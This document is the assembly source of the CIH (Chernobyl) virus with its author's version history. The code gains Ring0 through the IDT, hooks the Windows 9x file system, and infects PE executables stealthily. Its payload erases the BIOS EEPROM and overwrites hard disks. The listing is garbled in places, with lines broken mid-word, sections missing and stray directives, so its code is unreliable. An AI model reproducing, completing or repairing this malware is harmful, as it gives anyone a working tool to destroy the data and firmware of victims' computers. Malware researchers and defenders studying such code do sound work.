CIH病毒源码例程

****************************************************************************
; * The Virus Program Information * 
; ****************************************************************************
; * * 
; * Designer : CIH Original Place : TTIT of Taiwan * 0:4:45
; * Create Date : 04/26/1998 Now Version : 1.2 * 
; * Modification Time : 05/21/1998 * 
; * * 
; *==========================================================================*
; * Modification History * 
; *==========================================================================*
; * v1.0 1. Create the Virus Program. * 
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 
; * 04/26/1998 3. Virus Code doesn't Reload into System. * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Manager Would Normally Call to Implement * 
; * this Particular I/O Request. * 
; * 10. The Virus Size is only 656 Bytes. * 
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 
; * 2. Modify the Bug of v1.1 * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * 
; ****************************************************************************

.586P 

; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) * 
; ****************************************************************************

OriginalAppEXE SEGMENT 

FileHeader: 
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h 
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh 
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh 
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h 
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h 
; ********************************************************* 
HookExceptionNumber = 03h 

ENDIF 


FileNameBufferSize = 7fh 

; ********************************************************* 
; ********************************************************* 

VirusGame SEGMENT 

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 

; ********************************************************* 
; * Ring3 Virus Game Initial Program * 
; ********************************************************* 

MyVirusStart: 
push ebp 

; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 

cli 

mov ebp, [ebx] ; Get Exception Base 
mov bp, [ebx-04h] ; Entry Point 

lea esi, MyExceptionHook-@1[ecx] 

push esi 

mov [ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

push esi 
mov esi, eax 

LoopOfMergeAllVirusCodeSection: 

mov ecx, [eax-04h] 

rep movsb 

sub eax, 08h 

mov esi, [eax] 

or esi, esi 
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 

jmp LoopOfMergeAllVirusCodeSection 

QuitLoopOfMergeAllVirusCodeSection: 

pop esi 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Aga 


; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 

ret ; Return to Original App Entry Point 

; ********************************************************* 
; * Ring0 Virus Game Initial Program * 
; ********************************************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook 

; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 
jecxz AllocateSystemMemoryPage 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOf 
dException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; 

iretd 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exis 
in System 

push 00000000fh ; 
push ecx ; 
push 0ffffffffh ; 
push ecx ; 
push ecx ; 
push ecx ; 
push 000000001h ; 
push 000000002h ; 
int 20h ; VMMCALL _PageAllocate 
_PageAllocate = $ ; 
dd 00010053h ; Use EAX, ECX, EDX, and flags 
add esp, 08h*04h 

xchg edi, eax ; EDI = SystemMemory Start Addr 
s 

lea eax, MyVirusStart-@2[esi] 

iretd ; Return to Ring3 Initial Program 

; ************************************* 
; * Install My File System Api Hook * 
; ************************************* 

InstallMyFileSystemApiHook: 

lea eax, FileSystemApiHook-@6[edi] 

push eax ; 
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ; 
dd 00400067h ; Use EAX, ECX, EDX, and flags 

mov dr0, eax ; Save OldFileSystemApiHook Add 
ss 

pop eax ; EAX = FileSystemApiHook Address 

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 
mov edx, [ecx] 
mov OldInstallFileSystemApiHook-@3[eax], edx 

; Modify IFSMgr_InstallFileSystemApiHook Entry Point 
lea eax, InstallFileSystemApiHook-@3[eax] 
mov [ecx], eax 

cli 

jmp ExitRing0Init 

; ********************************************************* 
; * Code Size of Merge Virus Code Section * 
; ********************************************************* 

CodeSizeOfMergeVirusCodeSection = offset $ 

; ********************************************************* 
; * IFSMgr_InstallFileSystemApiHook * 
; ********************************************************* 

InstallFileSystemApiHook: 
push ebx 

call @4 ; 
@4: ; 
pop ebx ; mov ebx, offset FileSystemApiHook 
add ebx, FileSystemApiHook-@4 ; 

push ebx 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $ 
dd 00400068h ; Use EAX, ECX, EDX, and flags 
pop eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link Client FileSystemApiHook 
push dword ptr [esp+8] 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

push eax 

; Call Original IFSMgr_InstallFileSystemApiHook 
; to Link My FileSystemApiHook 
push ebx 
call OldInstallFileSystemApiHook-@3[ebx] 
pop ecx 

mov dr0, eax ; Adjust OldFileSystemApiHook A 
ress 

pop eax 

pop ebx 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

OldInstallFileSystemApiHook dd ? 

; ********************************************************* 
; * IFSMgr_FileSystemHook * 
; ********************************************************* 

; ************************************* 
; * IFSMgr_FileSystemHook Entry Point * 
; ************************************* 

FileSystemApiHook: 
@3 = FileSystemApiHook 

pushad 

call @5 ; 
je CallUniToBCSPath 

add al, 40h 
mov ah, ':' 

mov [esi], eax 

inc esi 
inc esi 

; ************************************* 
; * UniToBCSPath * 
; ************************************* 
; * This Service Converts * 
; * a Canonicalized Unicode Pathname * 
; * to a Normal Pathname in the * 
; * Specified BCS Character Set. * 
; ************************************* 

CallUniToBCSPath: 
push 00000000h 
push FileNameBufferSize 
mov ebx, [ebx+10h] 
mov eax, [ebx+0ch] 
add eax, 04h 
push eax 
push esi 
int 20h ; VXDCall UniToBCSPath 
UniToBCSPath = $ 
dd 00400041h 
add esp, 04h*04h 

; ************************************* 
; * Is FileName '.EXE' !? * 
; ************************************* 

; cmp [esi+eax-04h], '.EXE' 
cmp [esi+eax-04h], 'EXE.' 
pop esi 
jne DisableOnBusy 

IF DEBUG 

; ************************************* 
; * Only for Debug * 
; ************************************* 

; cmp [esi+eax-06h], 'FUCK' 
cmp [esi+eax-06h], 'KCUF' 
jne DisableOnBusy 

ENDIF 

; ************************************* 
; * Is Open Existing File !? * 
; ************************************* 

; if ( NotOpenExistingFile ) 
; goto DisableOnBusy 
cmp word ptr [ebx+18h], 01h 
jne DisableOnBusy 

; ************************************* 
; * Get Attributes of the File * 
; ************************************* 

mov ax, 4300h 
int 20h ; VXDCall IFSMgr_Ring0_FileIO 
IFSMgr_Ring0_FileIO = $ 
dd 00400032h 

jc DisableOnBusy 

push ecx 

; ************************************* 
; * Get IFSMgr_Ring0_FileIO Address * 
; ************************************* 

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 
mov edi, [edi] 

; ************************************* 
; * Is Read-Only File !? * 
; ************************************* 

test cl, 01h 
jz OpenFile 

; ************************************* 
; * Modify Read-Only File to Write * 
; ************************************* 

mov ax, 4301h 
xor ecx, ecx 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Open File * 
; ************************************* 

Openfile: 
xor eax, eax 
mov ah, 0d5h 
xor ecx, ecx 
xor edx, edx 
inc edx 
mov ebx, edx 
inc ebx 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

xchg ebx, eax ; mov ebx, FileHandle 

; ************************************* 
; * Need to Restore * 
; * Attributes of the File !? * 
; ************************************* 

pop ecx 

pushf 

test cl, 01h 
jz IsOpenFileOK 

; ************************************* 
; * Restore Attributes of the File * 
; ************************************* 

mov ax, 4301h 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Is Open File OK !? * 
; ************************************* 

IsOpenFileOK: 
popf 

jc DisableOnBusy 

; ************************************* 
; * Open File Already Succeed. ^__^ * 
; ************************************* 

push esi ; Push FileNameBuffer Address to Stack 

pushf ; Now CF = 0, Push Flag to Stack 

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer 

; *************************** 
; * Get OffsetToNewHeader * 
; *************************** 

xor eax, eax 
mov ah, 0d6h 

; For Doing Minimal VirusCode's Length, 
; I Save EAX to EBP. 
mov ebp, eax 

xor ecx, ecx 
mov cl, 04h 
xor edx, edx 
mov dl, 3ch 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

mov edx, [esi] 

; *************************** 
; * Get 'PE' Signature * 
; * of ImageFileHeader, and * 
; * Infected Mark. * 
; *************************** 

dec edx 

mov eax, ebp 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Is PE !? * 
; *************************** 
; * Is the File * 
; * Already Infected !? * 
; *************************** 

; cmp [esi], 'PE' 
cmp dword ptr [esi], 00455000h 
jne CloseFile 

; ************************************* 
; * The File is ^o^ * 
; * PE(Portable Executable) indeed. * 
; ************************************* 
; * The File isn't also Infected. * 
; ************************************* 

; ************************************* 
; * Start to Infect the File * 
; ************************************* 
; * Registers Use Status Now : * 
; * * 
; * EAX = 04h * 
; * EBX = File Handle * 
; * ECX = 04h * 
; * EDX = 'PE' Signature of * 
; * ImageFileHeader Pointer's * 
; * Former Byte. * 
; * ESI = DataBuffer Address ==> @8 * 
; * EDI = IFSMgr_Ring0_FileIO Address * 
; * EBP = D600h ==> Read Data in File * 
; ************************************* 
; * Stack Dump : * 
; * * 
; * ESP => ------------------------- * 
; * | EFLAG(CF=0) | * 
; * ------------------------- * 
; * | FileNameBufferPointer | * 
; * ------------------------- * 
; * | EDI | * 
; * ------------------------- * 
; * | ESI | * 
; * ------------------------- * 
; * | EBP | * 
; * ------------------------- * 
; * | ESP | * 
; * ------------------------- * 
; * | EBX | * 
; * ------------------------- * 
; * | EDX | * 
; * ------------------------- * 
; * | ECX | * 
; * ------------------------- * 
; * | EAX | * 
; * ------------------------- * 
; * | Return Address | * 
; * ------------------------- * 
; ************************************* 

push ebx ; Save File Handle 

push 00h ; Set VirusCodeSectionTableEndMark 

; *************************** 
; * Let's Set the * 
; * Virus' Infected Mark * 
; *************************** 

push 01h ; Size 
push edx ; Pointer of File 
push edi ; Address of Buffer 

; *************************** 
; * Save ESP Register * 
; *************************** 

mov dr1, esp 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Only First Set Size ) * 
; *************************** 

push eax ; Size 

; *************************** 
; * Let's Read * 
; * Image Header in File * 
; *************************** 

mov eax, ebp 
mov cl, SizeOfImageHeaderToRead 
add edx, 07h ; Move EDX to NumberOfSections 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Set Pointer of File, * 
; * Address of Buffer ) * 
; *************************** 

lea eax, (AddressOfEntryPoint-@8)[edx] 
push eax ; Pointer of File 

lea eax, (NewAddressOfEntryPoint-@8)[esi] 
push eax ; Address of Buffer 

; *************************** 
; * Move EDX to the Start * 
; * of SectionTable in File * 
; *************************** 

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
lea edx, [eax+edx+12h] 

; *************************** 
; * Let's Get * 
; * Total Size of Sections * 
; *************************** 

mov al, SizeOfScetionTable 

; I Assume NumberOfSections <= 0ffh 
mov cl, (NumberOfSections-@8)[esi] 
; * Address of Entry Point * 
; *************************** 

; Save My Virus First Section Code 
; Size of Following Section Table... 
; ( Not Include the Size of Virus Code Section Table ) 
push ecx 

xchg ecx, eax ; ECX = Size of Section Table 

mov eax, (AddressOfEntryPoint-@9)[esi] 
add eax, (ImageBase-@9)[esi] 
mov (OriginalAddressOfEntryPoint-@9)[esi], eax 

; *************************** 
; * Read All Section Tables * 
; *************************** 

mov eax, ebp 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Let's Set Total Virus * 
; * Code Section Table * 
; *************************** 

; EBX = My Virus First Section Code 
; Size of Following Section Table 
pop ebx 
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl 
pop ecx ; ECX = NumberOfSections+1 

push edi ; Size 

add edx, eax 
push edx ; Pointer of File 

add eax, esi 
push eax ; Address of Buffer 

; *************************** 
; * Set the First Virus * 
; * Code Section Size in * 
; * VirusCodeSectionTable * 
; *************************** 

lea eax, [eax+edi-04h] 
mov [eax], ebx 

; *************************** 
; * Let's Set My Virus * 
; * First Section Code * 
; *************************** 

push ebx ; Size 

add edx, edi 
push edx ; Pointer of File 

lea edi, (MyVirusStart-@9)[esi] 
push edi ; Address of Buffer 

; *************************** 
; * Let's Modify the * 
; * AddressOfEntryPoint to * 
; * My Virus Entry Point * 
; *************************** 

mov (NewAddressOfEntryPoint-@9)[esi], edx 

; *************************** 
; * Setup Initial Data * 
; *************************** 

lea edx, [esi-SizeOfScetionTable] 
mov ebp, offset VirusSize 

jmp StartToWriteCodeToSections 

; *************************** 
; * Write Code to Sections * 
; *************************** 

LoopOfWriteCodeToSections: 

add edx, SizeOfScetionTable 

mov ebx, (SizeOfRawData-@9)[edx] 
sub ebx, (VirtualSize-@9)[edx] 
jbe EndOfWriteCodeToSections 

push ebx ; Size 

sub eax, 08h 
mov [eax], ebx 

mov ebx, (PointerToRawData-@9)[edx] 
add ebx, (VirtualSize-@9)[edx] 
push ebx ; Pointer of File 

push edi ; Address of Buffer 

mov ebx, (VirtualSize-@9)[edx] 
add ebx, (VirtualAddress-@9)[edx] 
add ebx, (ImageBase-@9)[esi] 
mov [eax+4], ebx 

mov ebx, [eax] 
add (VirtualSize-@9)[edx], ebx 

; Section contains initialized data ==> 00000040h 
; Section can be Read. ==> 40000000h 
or (Characteristics-@9)[edx], 40000040h 

StartToWriteCodeToSections: 

sub ebp, ebx 
jbe SetVirusCodeSectionTableEndMark 

add edi, ebx ; Move Address of Buffer 

EndOfWriteCodeToSections: 

loop LoopOfWriteCodeToSections 

; *************************** 
; * Only Set Infected Mark * 
; *************************** 

OnlySetInfectedMark: 
mov esp, dr1 

jmp WriteVirusCodeToFile 

; *************************** 
; * Set Virus Code * 
; * Section Table End Mark * 
; *************************** 

SetVirusCodeSectionTableEndMark: 

; Adjust Size of Virus Section Code to Correct Value 
add [eax], ebp 
add [esp+08h], ebp 

; Set End Mark 
xor ebx, ebx 
mov [eax-04h], ebx 

; *************************** 
; * When VirusGame Calls * 
; * VxDCall, VMM Modifies * 
; * the 'int 20h' and the * 
; * 'Service Identifier' * 
; * to 'Call [XXXXXXXX]'. * 
; *************************** 
; * Before Writing My Virus * 
; * to File, I Must Restore * 
; * them First. ^__^ * 
; *************************** 

lea eax, (LastVxDCallAddress-2-@9)[esi] 

mov cl, VxDCallTableSize 

LoopOfRestoreVxDCallID: 
mov word ptr [eax], 20cdh 

mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] 
mov [eax+2], edx 

movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[es 

sub eax, edx 

loop LoopOfRestoreVxDCallID 

; *************************** 
; * Let's Write * 
; * Virus Code to the File * 
; *************************** 

WriteVirusCodeTofile: 
mov eax, dr1 
mov ebx, [eax+10h] 
mov edi, [eax] 

LoopOfWriteVirusCodeTofile: 

pop ecx 
jecxz SetFileModificationMark 

mov esi, ecx 
mov eax, 0d601h 
pop edx 
pop ecx 

call edi ; VXDCall IFSMgr_Ring0_FileIO 

jmp LoopOfWriteVirusCodeToFile 

; *************************** 
; * Let's Set CF = 1 ==> * 
; * Need to Restore File * 
; * Modification Time * 
; *************************** 

SetFileModificationMark: 
pop ebx 
pop eax 

stc ; Enable CF(Carry Flag) 
pushf 

; ************************************* 
; * Close File * 
; ************************************* 

Closefile: 
xor eax, eax 
mov ah, 0d7h 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Need to Restore File Modification * 
; * Time !? * 
; ************************************* 

popf 
pop esi 
jnc IsKillComputer 

; ************************************* 
; * Restore File Modification Time * 
; ************************************* 

mov ebx, edi 

mov ax, 4303h 
mov ecx, (FileModificationTime-@7)[esi] 
mov edi, (FileModificationTime+2-@7)[esi] 
call ebx ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Disable OnBusy * 
; ************************************* 

DisableOnBusy: 
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus 

; ************************************* 
; * Call Previous FileSystemApiHook * 
; ************************************* 

prevhook: 
popad 

mov eax, dr0 ; 
jmp [eax] ; Jump to prevhook 

; ************************************* 
; * Call the Function that the IFS * 
; * Manager Would Normally Call to * 
; * Implement this Particular I/O * 
; * Request. * 
; ************************************* 

pIFSFunc: 
mov ebx, esp 
push dword ptr [ebx+20h+04h+14h] ; Push pioreq 
call [ebx+20h+04h] ; Call pIFSFunc 
pop ecx ; 

mov [ebx+1ch], eax ; Modify EAX Value in Stack 

; *************************** 
; * After Calling pIFSFunc, * 
; * Get Some Data from the * 
; * Returned pioreq. * 
; *************************** 

cmp dword ptr [ebx+20h+04h+04h], 00000024h 
jne QuitMyVirusFileSystemHook 

; ***************** 
; * Get the File * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; * Kill Kill Kill Kill Kill Kill Kill * 
; ************************************** 

; *************************** 
; * Kill BIOS EEPROM * 
; *************************** 

mov bp, 0cf8h 
lea esi, IOForEEPROM-@7[esi] 

; *********************** 
; * Show BIOS Page in * 
; * 000E0000 - 000EFFFF * 
; * ( 64 KB ) * 
; *********************** 

mov edi, 8000384ch 
mov dx, 0cfeh 
cli 
call esi 

; *********************** 
; * Show BIOS Page in * 
; * 000F0000 - 000FFFFF * 
; * ( 64 KB ) * 
; *********************** 

mov di, 0058h 
dec edx ; and a 
0fh 
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h 
call esi 

; *********************** 
; * Show the BIOS Extra * 
; * ROM Data in Memory * 
; * 000E0000 - 000E01FF * 
; * ( 512 Bytes ) * 
; * , and the Section * 
; * of Extra BIOS can * 
; * be Writted... * 
; *********************** 

lea ebx, EnableEEPROMToWrite-@10[esi] 

mov eax, 0e5555h 
mov ecx, 0e2aaah 
call ebx 
mov byte ptr [eax], 60h 

push ecx 
loop $ 

; *********************** 
; * Kill the BIOS Extra * 
; * ROM Data in Memory * 
; * 000E0000 - 000E007F * 
; * ( 80h Bytes ) * 
; *********************** 

xor ah, ah 
mov [eax], al 

xchg ecx, eax 
loop $ 

; *********************** 
; * Show and Enable the * 
; * BIOS Main ROM Data * 
; * 000E0000 - 000FFFFF * 
; * ( 128 KB ) * 
; * can be Writted... * 
; *********************** 

mov eax, 0f5555h 
pop ecx 
mov ch, 0aah 
call ebx 
mov byte ptr [eax], 20h 

loop $ 

; *********************** 
; * Kill the BIOS Main * 
; * ROM Data in Memory * 
; * 000FE000 - 000FE07F * 
; * ( 80h Bytes ) * 
; *********************** 

mov ah, 0e0h 
mov [eax], al 

; *********************** 
; * Hide BIOS Page in * 
; * 000F0000 - 000FFFFF * 
; * ( 64 KB ) * 
; *********************** 
; or al 
0h 
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch 
call esi 

; *************************** 
; * Kill All HardDisk * 
; *************************************************** 
; * IOR Structure of IOS_SendCommand Needs * 
; *************************************************** 
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * 
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * 
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * 
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * 
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * 
; *************************************************** 

KillHardDisk: 
xor ebx, ebx 
mov bh, FirstKillHardDiskNumber 
push ebx 
sub esp, 2ch 
push 0c0001000h 
; *************************** 
; * IO for EEPROM * 
; *************************** 

IOForEEPROM: 
@10 = IOForEEPROM 

xchg eax, edi 
xchg edx, ebp 
out dx, eax 

xchg eax, edi 
xchg edx, ebp 
in al, dx 

BooleanCalculateCode = $ 
or al, 44h 

xchg eax, edi 
xchg edx, ebp 
out dx, eax 

xchg eax, edi 
xchg edx, ebp 
out dx, al 

ret 

; ********************************************************* 
; * Static Data * 
; ********************************************************* 

LastVxDCallAddress = IFSMgr_Ring0_FileIO 
VxDCallAddressTable db 00h 
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate 
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook 
db IFSMgr_Ring0_FileIO-UniToBCSPath 

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h 
VxDCallTableSize = ($-VxDCallIDTable)/04h 

; ********************************************************* 
; * Virus Version Copyright * 
; ********************************************************* 

VirusVersionCopyright db 'CIH v' 
db MajorVirusVersion+'0' 
db '.' 
db MinorVirusVersion+'0' 
db ' TTIT' 

; ********************************************************* 
; * Virus Size * 
; ********************************************************* 

VirusSize = $ 
; + SizeOfVirusCodeSectionTableEndMark(04h) 
; + NumberOfSections(??)*SizeOfVirusCodeSectionTa 
e(08h) 
; + SizeOfTheFirstVirusCodeSectionTable(04h) 

; ********************************************************* 
; * Dynamic Data * 
; ********************************************************* 

VirusGameDataStartAddress = VirusSize 
PointerToRelocations = StartOfSectionTable+18h ; DWORD 
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD 
NumberOfRelocations = StartOfSectionTable+20h ; WORD 
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD 
Characteristics = StartOfSectionTable+24h ; DWORD 
SizeOfScetionTable = Characteristics+04h-SectionName 

; ********************************************************* 
; * Virus Total Need Memory * 
; ********************************************************* 

VirusNeedBaseMemory = $ 

VirusTotalNeedMemory = @9 
; + NumberOfSections(??)*SizeOfScetionTable(28h) 
; + SizeOfVirusCodeSectionTableEndMark(04h) 
; + NumberOfSections(??)*SizeOfVirusCodeSectionTa 
e(08h) 
; + SizeOfTheFirstVirusCodeSectionTable(04h) 

; ********************************************************* 
; *********************************************************